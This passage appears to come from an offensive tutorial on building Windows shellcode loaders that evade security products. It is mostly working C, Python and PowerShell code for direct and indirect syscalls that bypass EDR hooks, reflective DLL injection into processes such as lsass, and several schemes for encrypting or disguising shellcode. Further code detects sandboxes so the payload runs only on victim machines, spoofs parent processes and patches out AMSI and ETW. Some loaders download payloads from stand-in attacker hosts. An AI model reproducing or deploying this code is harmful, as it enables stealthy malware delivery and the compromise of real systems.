    // All calls go directly to kernel — EDR hooks bypassed!
    SW2_NtAllocateVirtualMemory(hProc, &baseAddr, 0, &sc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    SIZE_T written;
    SW2_NtWriteVirtualMemory(hProc, baseAddr, shellcode, sizeof(shellcode), &written);

    PVOID protAddr = baseAddr;
    ULONG old;
    SW2_NtProtectVirtualMemory(hProc, &protAddr, &sc_len, PAGE_EXECUTE_READ, &old);

    HANDLE hThread;
    SW2_NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc,
        baseAddr, NULL, FALSE, 0, 0, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

6.3 Hell's Gate — Dynamic Syscall Resolution

What it means: Instead of hardcoding syscall numbers (which change per Windows build), Hell's Gate reads the syscall number directly from the NtAllocateVirtualMemory function in memory at runtime — even if hooked, it finds the original syscall number by reading nearby bytes.

// Hell's Gate — reads syscall number directly from ntdll at runtime
// GitHub: https://github.com/am0nsec/HellsGate

// A simplified version:
DWORD GetSyscallNumber(const char* funcName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    BYTE* funcAddr = (BYTE*)GetProcAddress(ntdll, funcName);

    // x64 syscall stub pattern: mov r10,rcx / mov eax,<syscall_num> / syscall
    // Bytes: 4C 8B D1 B8 [XX XX 00 00] 0F 05
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&
        funcAddr[3] == 0xB8) {
        // Syscall number is at bytes [4..5]
        return *(DWORD*)(funcAddr + 4);
    }

    // If hooked (EDR replaced first bytes with jmp), search nearby for clean stub
    // Halo's Gate: walk forward/backward for nearby syscall numbers
    for (int i = 1; i <= 10; i++) {
        // Try i instructions forward (functions are close together in ntdll)
        BYTE* nearFunc = funcAddr + (i * 32);  // ~32 bytes per stub
        if (nearFunc[3] == 0xB8) {
            return *(DWORD*)(nearFunc + 4) - i;  // Adjust for offset
        }
    }
    return 0;  // Failed
}

6.4 Indirect Syscalls — FreshyCalls / RecycledGate

What it means: Direct syscalls (syscall instruction in your code) can be detected by EDRs that look for syscall appearing outside of ntdll. Indirect syscalls jump to the syscall instruction INSIDE ntdll (from an unhooked nearby stub), so the instruction appears at the correct address.

// Indirect syscall approach:
// Instead of:
//   mov eax, 0x18
//   syscall         ← EDR flags: syscall outside ntdll!
//
// Do:
//   mov eax, 0x18
//   jmp [address of syscall instruction inside ntdll]  ← looks like ntdll called it!

// The syscall instruction inside ntdll is at a fixed offset from each Nt* function.
// Find it by scanning ntdll memory for 0F 05 (syscall opcode) near each function.

PVOID FindSyscallInstruction(const char* funcName) {
    BYTE* funcAddr = (BYTE*)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), funcName);
    // Scan up to 32 bytes for 'syscall' (0F 05)
    for (int i = 0; i < 32; i++) {
        if (funcAddr[i] == 0x0F && funcAddr[i+1] == 0x05) {
            return funcAddr + i;  // Return address OF the syscall instruction in ntdll
        }
    }
    return NULL;
}

7. Reflective DLL Injection

What it means: Inject a specially crafted DLL into a target process without calling LoadLibrary. The DLL contains a "reflective loader" function that manually maps the DLL into memory, resolves imports, and runs DllMain — entirely in userspace, with no file on disk. [OPSEC] No DLL file on disk. No LoadLibrary call visible. Very stealthy.\ [CS] Cobalt Strike's execute-assembly and most C2 implants use reflective loading.

# ReflectiveDLLInjection (original PoC)
# GitHub: https://github.com/stephenfewer/ReflectiveDLLInjection

git clone https://github.com/stephenfewer/ReflectiveDLLInjection
// Reflective DLL: src/ReflectiveDll.c (simplified concept)

// The DLL exports a function called ReflectiveLoader
// When invoked (by your injector), it:
// 1. Finds its own base address
// 2. Parses its own PE headers
// 3. Maps all sections into new memory
// 4. Resolves its import table (loads dependencies)
// 5. Applies relocations
// 6. Calls DllMain

// Injector side (inject_reflective_dll.c):
#include <windows.h>
#include "ReflectiveDLLInjection.h"

int main(void) {
    DWORD pid = 1234;  // target PID

    // 1. Read DLL from disk (or embed as byte array)
    HANDLE hFile = CreateFileA("reflective.dll", GENERIC_READ, 0,
        NULL, OPEN_EXISTING, 0, NULL);
    DWORD dllSize = GetFileSize(hFile, NULL);
    BYTE* dllBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, dllSize);
    DWORD read;
    ReadFile(hFile, dllBuf, dllSize, &read, NULL);
    CloseHandle(hFile);

    // 2. Find offset of ReflectiveLoader export in DLL buffer
    DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuf);  // from lib

    // 3. Open target process
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Write DLL into remote process memory
    LPVOID remoteMem = VirtualAllocEx(hProc, NULL, dllSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    SIZE_T written;
    WriteProcessMemory(hProc, remoteMem, dllBuf, dllSize, &written);

    // 5. Create thread at ReflectiveLoader entry point (not DllMain!)
    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset),
        remoteMem, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    HeapFree(GetProcessHeap(), 0, dllBuf);
    return 0;
}
# Reflective injection via PowerSploit (PowerShell)
Import-Module PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1

# Inject PE (EXE or DLL) into current process
Invoke-ReflectivePEInjection -PEPath C:\Tools\payload.dll

# Inject into remote process
$PEBytes = [System.IO.File]::ReadAllBytes("C:\payload.dll")
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

# Download and inject from URL (nothing on disk!)
$bytes = (New-Object Net.WebClient).DownloadData("http://ATTACKER/payload.dll")
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcName explorer

8. PE Injection & PE Stomping

What it means: Rather than injecting raw shellcode, inject a full PE (EXE or DLL) file into another process's memory. PE stomping maps a new PE over an existing in-memory module to blend in with legitimate loaded DLLs.

// Simple PE injection (inject EXE into target process memory)
// For full PE injection with reloc fixup, use SharpSploit or PowerSploit's module

// PE Stomping concept:
// 1. Load a legitimate DLL (e.g., clrjit.dll)
// 2. Overwrite its .text section with your shellcode
// 3. Execute — memory scanner sees legitimate DLL backing the pages

// Donut-based PE → Shellcode conversion (see Section 15)
// Donut converts any PE (EXE/DLL) into PIC shellcode you can inject
// Usage: donut.exe -f payload.exe -o shellcode.bin
// Then use the shellcode with any injection technique above

9. Shellcode Obfuscation & Encryption

What it means: AV/EDR engines perform static analysis on your loader binary. If the shellcode blob is stored in plaintext, it will be detected. Encrypt or encode the shellcode in the loader, decrypt at runtime in memory, then execute. This defeats all static detection of the payload itself.


9.1 XOR Encryption

// Simple XOR — fast, but very weak. Use as one layer among many.

// Encrypt (Python — run on attacker machine):
python3 -c "
import sys
key = 0x41  # single-byte XOR key
data = open('shell.bin','rb').read()
enc = bytes(b ^ key for b in data)
open('shell.enc','wb').write(enc)
print('Encrypted', len(enc), 'bytes')
"

// Multi-byte XOR key (stronger):
python3 -c "
import sys
key = b'\\xDE\\xAD\\xBE\\xEF'  # 4-byte key
data = open('shell.bin','rb').read()
enc = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
open('shell.enc','wb').write(enc)
"
// XOR Decrypt in loader (C):
unsigned char enc_shellcode[] = { /* encrypted bytes */ };
unsigned int  enc_len = sizeof(enc_shellcode);
char key[] = "\xDE\xAD\xBE\xEF";
int  key_len = 4;

void xor_decrypt(unsigned char* buf, unsigned int len, char* key, int klen) {
    for (unsigned int i = 0; i < len; i++) {
        buf[i] ^= key[i % klen];
    }
}

int main(void) {
    // Allocate RW
    LPVOID mem = VirtualAlloc(NULL, enc_len,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, enc_shellcode, enc_len);

    // Decrypt in memory
    xor_decrypt((unsigned char*)mem, enc_len, key, key_len);

    // Change to RX then execute
    DWORD old;
    VirtualProtect(mem, enc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

9.2 AES Encryption (Strongest Static Bypass)

# Encrypt shellcode with AES-256-CBC (Python, on attacker)
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

key = os.urandom(32)     # 256-bit key
iv  = os.urandom(16)     # 128-bit IV

shellcode = open('shell.bin', 'rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))

open('shell.enc', 'wb').write(enc)
print(f'Key: {key.hex()}')
print(f'IV:  {iv.hex()}')
print(f'Encrypted {len(enc)} bytes')
// AES decrypt in C loader (using Windows CNG API — no extra dependencies!)
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

// AES-256-CBC decrypt using Windows BCrypt
BOOL AESDecrypt(BYTE* key, BYTE* iv, BYTE* ciphertext, DWORD ct_len, BYTE** plaintext, DWORD* pt_len) {
    BCRYPT_ALG_HANDLE hAlg;
    BCRYPT_KEY_HANDLE hKey;

    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);

    DWORD outLen = 0;
    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, NULL, 0, &outLen, BCRYPT_BLOCK_PADDING);

    *plaintext = (BYTE*)HeapAlloc(GetProcessHeap(), 0, outLen);
    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv, 16, *plaintext, outLen, pt_len, BCRYPT_BLOCK_PADDING);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

// Embed encrypted shellcode + key + IV as byte arrays
unsigned char aes_key[] = { /* 32 bytes */ };
unsigned char aes_iv[]  = { /* 16 bytes */ };
unsigned char enc_sc[]  = { /* encrypted shellcode bytes */ };

int main(void) {
    BYTE* decrypted;
    DWORD dec_len;
    AESDecrypt(aes_key, aes_iv, enc_sc, sizeof(enc_sc), &decrypted, &dec_len);

    LPVOID mem = VirtualAlloc(NULL, dec_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, decrypted, dec_len);
    HeapFree(GetProcessHeap(), 0, decrypted);

    DWORD old;
    VirtualProtect(mem, dec_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

9.3 UUID Shellcode Encoding

What it means: Encode shellcode as an array of UUID strings. UUIDs look completely benign in static analysis. At runtime, convert UUIDs back to bytes and load them into memory via UuidFromStringA.

# Encode shellcode as UUIDs (Python, attacker side)
import uuid

shellcode = open('shell.bin', 'rb').read()

# Pad to multiple of 16 bytes
padding = (16 - len(shellcode) % 16) % 16
shellcode += b'\x90' * padding  # NOP padding

uuids = []
for i in range(0, len(shellcode), 16):
    chunk = shellcode[i:i+16]
    # UUID format: 4-2-2-2-6 bytes
    u = '{:08x}-{:04x}-{:04x}-{:04x}-{:012x}'.format(
        int.from_bytes(chunk[0:4],  'little'),
        int.from_bytes(chunk[4:6],  'little'),
        int.from_bytes(chunk[6:8],  'little'),
        int.from_bytes(chunk[8:10], 'big'),
        int.from_bytes(chunk[10:],  'big')
    )
    uuids.append(f'"{u}"')

print(f'const char* uuids[] = {{\n  ' + ',\n  '.join(uuids) + '\n};')
print(f'int uuid_count = {len(uuids)};')
// UUID loader (C):
#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "rpcrt4.lib")

const char* uuids[] = {
    "90909090-9090-9090-9090-909090909090",  // Example UUIDs
    // ... generated by script above
};
int uuid_count = 1;

int main(void) {
    // Allocate RW memory for shellcode (16 bytes per UUID)
    SIZE_T sc_len = uuid_count * 16;
    LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Convert each UUID back to 16 bytes and write into memory
    BYTE* ptr = (BYTE*)mem;
    for (int i = 0; i < uuid_count; i++) {
        UUID uuid;
        UuidFromStringA((RPC_CSTR)uuids[i], &uuid);
        memcpy(ptr, &uuid, 16);
        ptr += 16;
    }

    // Change to RX and execute
    DWORD old;
    VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

9.4 MAC Address Encoding

What it means: Encode shellcode as fake MAC address strings. Decode at runtime using RtlEthernetStringToAddressA.

# Encode as MAC addresses (Python)
shellcode = open('shell.bin', 'rb').read()

# Pad to multiple of 6
padding = (6 - len(shellcode) % 6) % 6
shellcode += b'\x90' * padding

macs = []
for i in range(0, len(shellcode), 6):
    chunk = shellcode[i:i+6]
    mac = ':'.join(f'{b:02x}' for b in chunk)
    macs.append(f'"{mac}"')

print('const char* macs[] = {\n  ' + ',\n  '.join(macs) + '\n};')
print(f'int mac_count = {len(macs)};')
// MAC address loader (C):
#include <windows.h>

typedef NTSTATUS (NTAPI* RtlEthernetStringToAddressA_t)(PCSTR, PCSTR*, void*);

const char* macs[] = {
    "90:90:90:90:90:90",  // Example
    // ... from Python script
};
int mac_count = 1;

int main(void) {
    SIZE_T sc_len = mac_count * 6;
    LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    RtlEthernetStringToAddressA_t RtlEthernetStringToAddressA =
        (RtlEthernetStringToAddressA_t)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "RtlEthernetStringToAddressA");

    BYTE* ptr = (BYTE*)mem;
    for (int i = 0; i < mac_count; i++) {
        PCSTR terminator;
        RtlEthernetStringToAddressA(macs[i], &terminator, ptr);
        ptr += 6;
    }

    DWORD old;
    VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

9.5 IPv4 / IPv6 Encoding

# IPv4 encoding (4 bytes per address)
shellcode = open('shell.bin', 'rb').read()
padding = (4 - len(shellcode) % 4) % 4
shellcode += b'\x90' * padding

ips = []
for i in range(0, len(shellcode), 4):
    ip = '.'.join(str(b) for b in shellcode[i:i+4])
    ips.append(f'"{ip}"')
print('const char* ips[] = {\n  ' + ',\n  '.join(ips) + '\n};')

# IPv6 encoding (16 bytes per address — same efficiency as UUID)
import struct
for i in range(0, len(shellcode), 16):
    chunk = shellcode[i:i+16]
    parts = [chunk[j:j+2].hex() for j in range(0, 16, 2)]
    ipv6 = ':'.join(parts)
    ips.append(f'"{ipv6}"')
// IPv4 loader:
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

const char* ips[] = { "144.144.144.144", /* ... */ };
int ip_count = 1;

int main(void) {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);

    SIZE_T sc_len = ip_count * 4;
    LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    BYTE* ptr = (BYTE*)mem;
    for (int i = 0; i < ip_count; i++) {
        IN_ADDR addr;
        inet_pton(AF_INET, ips[i], &addr);
        memcpy(ptr, &addr, 4);
        ptr += 4;
    }

    DWORD old;
    VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old);
    ((void(*)())mem)();
    return 0;
}

10. Sandbox Evasion in Loaders

What it means: Automated AV sandboxes run your loader in an isolated environment to detect behavior. A loader with sandbox evasion checks aborts execution if it detects a sandbox, then runs the real payload only on real victim machines.


10.1 Sleep-Based Evasion

#include <windows.h>

// Sandboxes often accelerate time (skip Sleep) to get results faster
// Check if requested sleep time was actually honored
BOOL SandboxSleepCheck(DWORD ms) {
    DWORD start = GetTickCount();
    Sleep(ms);
    DWORD elapsed = GetTickCount() - start;
    // If less than 75% of sleep time passed, we're in a sandbox!
    return (elapsed >= (ms * 75 / 100));
}

int main(void) {
    if (!SandboxSleepCheck(5000)) {  // 5 second sleep
        // Sandbox detected — exit silently
        return 0;
    }
    // Real system — run payload
    // ...
}

10.2 Environment Checks

#include <windows.h>
#include <stdio.h>

BOOL IsSandbox(void) {
    // Check 1: Low number of CPU cores (sandboxes often have 1-2)
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors <= 2) return TRUE;

    // Check 2: Low RAM (sandboxes often have < 4GB)
    MEMORYSTATUSEX ms = { sizeof(ms) };
    GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < (DWORDLONG)4 * 1024 * 1024 * 1024) return TRUE;

    // Check 3: Recent system uptime (sandbox just booted)
    DWORD uptime = GetTickCount();
    if (uptime < 5 * 60 * 1000) return TRUE;  // < 5 minutes uptime

    // Check 4: Check for sandbox-specific processes
    const char* sandbox_procs[] = {
        "vmsrvc.exe", "vmusrvc.exe",   // VirtualBox
        "vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",  // VMware
        "vboxservice.exe", "vboxtray.exe",  // VirtualBox
        "sandboxiedcomlaunch.exe", "sandboxierpcss.exe",  // Sandboxie
        "procmon.exe", "procmon64.exe",  // Sysinternals ProcMon
        "wireshark.exe", "tcpview.exe",  // Network monitoring
        "ollydbg.exe", "x64dbg.exe", "windbg.exe",  // Debuggers
        NULL
    };

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    while (Process32Next(hSnap, &pe)) {
        for (int i = 0; sandbox_procs[i]; i++) {
            if (_stricmp(pe.szExeFile, sandbox_procs[i]) == 0) {
                CloseHandle(hSnap);
                return TRUE;
            }
        }
    }
    CloseHandle(hSnap);

    // Check 5: Username is a known sandbox indicator
    char user[256];
    DWORD userLen = sizeof(user);
    GetUserNameA(user, &userLen);
    if (_stricmp(user, "sandbox") == 0 || _stricmp(user, "maltest") == 0 ||
        _stricmp(user, "virus") == 0  || _stricmp(user, "john") == 0) return TRUE;

    // Check 6: Screen resolution (sandboxes often use low res)
    if (GetSystemMetrics(SM_CXSCREEN) <= 800 ||
        GetSystemMetrics(SM_CYSCREEN) <= 600) return TRUE;

    // Check 7: Cursor has not moved (no real user)
    POINT pt1, pt2;
    GetCursorPos(&pt1);
    Sleep(2000);
    GetCursorPos(&pt2);
    if (pt1.x == pt2.x && pt1.y == pt2.y) return TRUE;  // Cursor didn't move

    // Check 8: Domain check (deploy only in target org)
    // char domain[256]; DWORD dlen = sizeof(domain);
    // GetComputerNameExA(ComputerNameDnsDomain, domain, &dlen);
    // if (_stricmp(domain, "corp.local") != 0) return TRUE;

    return FALSE;
}

int main(void) {
    if (IsSandbox()) {
        // Appear harmless — do something benign
        MessageBoxA(NULL, "An error occurred.", "Error", MB_OK);
        return 0;
    }
    // Real host — run payload
}

10.3 Parent Process Spoofing

What it means: Spoof the parent process of your spawned payload so it appears to be spawned by a legitimate process (e.g., spawned from explorer.exe instead of your loader.exe). [OPSEC] EDRs check parent-child process relationships. Spoofing the PPID makes the chain look legitimate.

#include <windows.h>

int SpawnWithSpoofedParent(const char* target, const char* parentName) {
    // 1. Find PID of "parent" to spoof (e.g., explorer.exe)
    DWORD parentPID = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    while (Process32Next(hSnap, &pe)) {
        if (_stricmp(pe.szExeFile, parentName) == 0) {
            parentPID = pe.th32ProcessID;
            break;
        }
    }
    CloseHandle(hSnap);

    // 2. Open the "fake parent" process
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPID);

    // 3. Create process attribute list with spoofed parent
    SIZE_T attrSize;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    LPPROC_THREAD_ATTRIBUTE_LIST attrList =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
    InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);

    UpdateProcThreadAttribute(attrList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);

    // 4. Spawn process with spoofed parent
    STARTUPINFOEXW si = { sizeof(si) };
    si.lpAttributeList = attrList;
    PROCESS_INFORMATION pi;

    CreateProcessW(NULL, (LPWSTR)target, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
        NULL, NULL, &si.StartupInfo, &pi);

    DeleteProcThreadAttributeList(attrList);
    HeapFree(GetProcessHeap(), 0, attrList);
    CloseHandle(hParent);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

// Usage: spawn calc.exe appearing as child of explorer.exe
// SpawnWithSpoofedParent("C:\\Windows\\System32\\calc.exe", "explorer.exe");

11. Memory Permission Tricks (RX/RW Separation)

What it means: Modern EDRs scan memory for executable regions. If you have a single RWX page, that's a massive red flag. The professional approach is strict separation: allocate RW, write payload, change to RX. Some advanced techniques use two separate allocations so the decryption key and shellcode are never in the same executable region.

#include <windows.h>

// TECHNIQUE: Allocate two regions
// Region A (RW only)  → holds encrypted shellcode + decryption key
// Region B (RX only)  → receives decrypted shellcode

void TwoRegionLoader(unsigned char* enc_sc, size_t sc_len, char* key, int klen) {
    // Region A: RW — hold encrypted data + key
    LPVOID regionA = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(regionA, enc_sc, sc_len);

    // Region B: RW for now (will become RX after decryption)
    LPVOID regionB = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt from A into B
    for (size_t i = 0; i < sc_len; i++) {
        ((unsigned char*)regionB)[i] = ((unsigned char*)regionA)[i] ^ (unsigned char)key[i % klen];
    }

    // Wipe region A (no longer needed — destroy evidence of encryption key)
    SecureZeroMemory(regionA, sc_len);
    VirtualFree(regionA, 0, MEM_RELEASE);

    // Change B to RX (no write)
    DWORD oldProt;
    VirtualProtect(regionB, sc_len, PAGE_EXECUTE_READ, &oldProt);

    // Execute region B
    ((void(*)())regionB)();
    VirtualFree(regionB, 0, MEM_RELEASE);
}

// TECHNIQUE: Guard page (decoy trap)
// Allocate shellcode with PAGE_GUARD initially
// When any code touches it, guard fires — can use to detect debuggers

LONG WINAPI GuardPageHandler(EXCEPTION_POINTERS* ep) {
    if (ep->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        // Remove guard, continue execution
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void GuardPageLoader(unsigned char* sc, size_t sc_len) {
    LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, sc_len);

    // Set guard page — any access (including debugger stepping) will fire
    DWORD old;
    VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

    // Add VEH to handle the initial guard page exception (legitimate execution path)
    AddVectoredExceptionHandler(1, GuardPageHandler);

    // Execute — first access fires guard exception → handler removes guard → executes normally
    ((void(*)())mem)();
}

12. ETW & AMSI Bypass in Loaders

What it means: Even when shellcode runs inside a legitimate process, ETW (Event Tracing for Windows) and AMSI can expose it. Patch both at the start of your loader before executing the payload.

#include <windows.h>

// === PATCH AMSI IN CURRENT PROCESS ===
void PatchAMSI(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return;

    FARPROC AmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!AmsiScanBuffer) return;

    DWORD oldProt;
    VirtualProtect(AmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProt);

    // Patch: mov eax, 0x80070057; ret  (E_INVALIDARG → scan always fails)
    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    memcpy(AmsiScanBuffer, patch, sizeof(patch));

    VirtualProtect(AmsiScanBuffer, 6, oldProt, &oldProt);
}

// === PATCH ETW IN CURRENT PROCESS ===
void PatchETW(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!EtwEventWrite) return;

    DWORD oldProt;
    VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProt);

    // Patch: ret (immediately return — no event written)
    *(unsigned char*)EtwEventWrite = 0xC3;

    VirtualProtect(EtwEventWrite, 1, oldProt, &oldProt);
}

int main(void) {
    PatchAMSI();
    PatchETW();

    // Now load and execute shellcode — no AMSI or ETW telemetry
    unsigned char shellcode[] = { /* your payload */ };
    // ... rest of loader
    return 0;
}

13. PowerShell Shellcode Loaders

What it means: PowerShell loaders use P/Invoke (Add-Type) to call Win32 APIs. While detected by modern EDRs when unsophisticated, combined with AMSI bypass and obfuscation they remain effective. Best for quick one-liners or when you need to avoid dropping an EXE.


13.1 P/Invoke VirtualAlloc Loader

# ─── CLASSIC POWERSHELL LOADER ───
# [DETECT] Caught by most modern AV — obfuscate or combine with AMSI bypass!

$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, out uint t);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr a, uint s, uint p, out uint o);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr h, uint m);
"@
$K32 = Add-Type -MemberDefinition $code -Name "K32" -Namespace "Win32" -PassThru

# Download shellcode from URL
$url = "http://ATTACKER_IP:8080/payload.bin"
$wc  = New-Object System.Net.WebClient
$shellcode = $wc.DownloadData($url)

# Allocate RW memory
$mem = $K32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x04)

# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Change to RX (no write)
$oldProt = 0
$K32::VirtualProtect($mem, $shellcode.Length, 0x20, [ref]$oldProt)  # 0x20 = PAGE_EXECUTE_READ

# Execute in thread
$tid = 0
$hThread = $K32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)

$K32::WaitForSingleObject($hThread, 0xFFFFFFFF)

13.2 PowerShell + AMSI Bypass + Loader (One Block)

# STEP 1: Bypass AMSI (obfuscated)
$a = [Ref].Assembly.GetTypes()
ForEach ($b in $a) { if ($b.Name -like '*iUtils') { $c = $b } }
$d = $c.GetFields('NonPublic,Static')
ForEach ($e in $d) { if ($e.Name -like '*Context') { $f = $e } }
$g = $f.GetValue($null); $ptr = [IntPtr]$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

# STEP 2: Define Win32 API
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr a,uint s,uint p,out uint o);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,out uint t);
[DllImport("kernel32.dll")] public static extern uint WaitForSingleObject(IntPtr h,uint m);
"@
$w = Add-Type -MemberDefinition $code -Name "W" -Namespace "Win32" -PassThru

# STEP 3: XOR-encrypted shellcode (bytes — XOR key 0x41)
# Generate with: msfvenom ... -f raw | python3 -c "import sys;d=sys.stdin.buffer.read();print(','.join(str(b^0x41) for b in d))"
[Byte[]] $enc = 0xD1,0xD1,0xD1,0x82   # placeholder XOR'd bytes

# STEP 4: Decrypt
$key = 0x41
[Byte[]] $sc = $enc | ForEach-Object { $_ -bxor $key }

# STEP 5: Allocate, copy, protect, execute
$mem = $w::VirtualAlloc([IntPtr]::Zero, $sc.Length, 0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)
$o = 0; $w::VirtualProtect($mem, $sc.Length, 0x20, [ref]$o)
$tid = 0; $ht = $w::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$tid)
$w::WaitForSingleObject($ht, 0xFFFFFFFF)

13.3 PowerShell Process Injection (Into Remote Process)

# Inject shellcode into a remote process from PowerShell
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint a,bool b,uint c);
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h,IntPtr a,uint s,uint t,uint p);
[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] d,uint s,out uint w);
[DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr h,IntPtr a,uint s,uint p,out uint o);
[DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h,IntPtr a,uint s,IntPtr f,IntPtr p,uint c,out uint t);
"@
$K = Add-Type -MemberDefinition $code -Name "K" -Namespace "W" -PassThru

# Target process
$proc = Get-Process explorer | Select-Object -First 1
$pid  = $proc.Id

# Shellcode bytes (XOR-encrypted, decoded above or inline)
[Byte[]] $sc = @(0x90, 0x90, 0xC3)  # placeholder

# Open, allocate, write, protect, inject
$hProc = $K::OpenProcess(0x1F0FFF, $false, $pid)
$rMem  = $K::VirtualAllocEx($hProc, [IntPtr]::Zero, $sc.Length, 0x3000, 0x04)
$writ  = 0
